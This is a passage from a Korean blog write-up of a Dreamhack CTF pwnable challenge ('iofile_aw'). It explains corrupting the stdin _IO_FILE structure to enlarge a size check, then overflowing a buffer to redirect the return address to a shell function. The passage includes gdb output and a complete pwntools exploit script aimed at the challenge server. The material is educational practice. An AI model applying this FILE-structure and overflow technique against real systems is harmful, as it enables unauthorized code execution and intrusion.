</span></span><span class="line"><span class="cl">				<span class="k">if</span><span class="p">(</span><span class="n">src</span><span class="p">)</span> 
</span></span><span class="line"><span class="cl">					<span class="nf">memcpy</span><span class="p">(</span><span class="n">dst</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="p">}</span>				
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span></code></pre></div><p>시나리오를 작성해보자.</p>
<p>위 부분을 살펴보면 입력받은 command 변수에 공백을 잘라서 src에 넣고 stdin 값을 dst에 넣은 다음 src 값이 존재하면 dst를 src 값으로 덮어씌우는 동작을 한다. 총 0x40만큼 덮을 수 있으며 dst는 입력을 담당하는 stdin의 위치를 가리키며 _IO_FILE 구조체가 존재하는 부분이다. 0x40만큼 오버라이트 할수 있게 되면 _IO_FILE의 buf_base까지 값을 쓸 수 있고, 이는 원하는 부분에 값을 입력 할 수 있게된다.</p>
<p>이렇게 변조된 stdin을 사용하는 곳이 read가 입력되었을 때이다. read가 입력되면 read_str() 함수가 실행되는데 이 함수 내부에는 fgets 함수가 사용되어 _IO_FILE의 내용을 바탕으로 값을 쓸 수 있다.</p>
<p>fgets을 이용해 command 전역 변수 값의 크기를 검증하는 size변수 값을 조작할 수 있을것 같다. read_command()함수를 통해 size변수의 값 만큼만 read해 마지막 글자가 \x0a 값이면 이를 \0으로 바꾸는 동작을 한다.</p>
<p>printf를 통해서 stdin 구조체의 buf_base를 size 변수 주소를 넣고 read를 입력해 충분히 큰 값으로 바꾼다. 그러면 commend 변수에 값 길이를 검증하는 size 변수가 조작되어 command 변수에 오버플로우를 일으킬 수 있다. 이를 이용해 return 주소를 get_shell() 함수주소로 변경하면 익스플로잇에 성공한다.</p>
<p>gdb를 통해서 stdin 구조를 출력하면 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">flag</span>            <span class="mh">0x00000000fbad208b</span>
</span></span><span class="line"><span class="cl"><span class="n">read</span> <span class="n">ptr</span>        <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">read</span> <span class="n">end</span>        <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">read</span> <span class="n">base</span>       <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">write</span> <span class="n">base</span>      <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">write</span> <span class="n">ptr</span>       <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">write</span> <span class="n">end</span>       <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">buf</span> <span class="n">base</span>        <span class="mh">0x00007ffff7dd1963</span>
</span></span><span class="line"><span class="cl"><span class="n">buf</span> <span class="n">end</span>         <span class="mh">0x00007ffff7dd1964</span>
</span></span></code></pre></div><p>flag 값을 보면 0xfbad208b가 설정되어 있는데 b가 의미하는게 뭔지 잘 모르겠다. flag정보를 찾아보는데 잘 안나왔다. 그래서 익스플로잇 코드를 작성할 때 쓰기권한인 8을 주고 공격을 시도했다.</p>
<p>아래 공격코드를 이용했다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;host3.dreamhack.games&#34;</span><span class="p">,</span> <span class="mi">10575</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./oneshot&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc.so.6&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./iofile_aw&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./iofile_aw&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">size</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;size&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">get_shell</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;get_shell&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="s1">&#39;&#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="s1">flag            0x00000000fbad208b
</span></span></span><span class="line"><span class="cl"><span class="s1">read ptr        0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">read end        0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">read base       0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">write base      0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">write ptr       0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">write end       0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">buf base        0x00007ffff7dd1963
</span></span></span><span class="line"><span class="cl"><span class="s1">buf end         0x00007ffff7dd1964
</span></span></span><span class="line"><span class="cl"><span class="s1">&#39;&#39;&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#payload1 = p64(0xfbad208b)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0xfbad2088</span><span class="p">)</span> <span class="c1">#flag b -&gt; 8</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#read ptr</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#read end</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#read base</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#write base</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#write ptr</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>   <span class="c1">#write end</span>
</span></span><span class="line"><span class="cl"><span class="n">payload1</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">size</span><span class="p">)</span>    <span class="c1">#buf base =&gt; size ptr</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;# &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;printf &#34;</span><span class="o">+</span><span class="n">payload1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#print(b&#34;printf &#34;+payload1)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#print(b&#34;printf\x00&#34;+payload1)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;# &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;read&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x500</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;A&#34;</span><span class="o">*</span><span class="p">(</span><span class="mh">0x228</span><span class="o">-</span><span class="mi">5</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload2</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">get_shell</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;# &#34;</span><span class="p">,</span> <span class="sa">b</span><span class="s2">&#34;exit</span><span class="se">\x00</span><span class="s2">&#34;</span><span class="o">+</span><span class="n">payload2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item></channel></rss>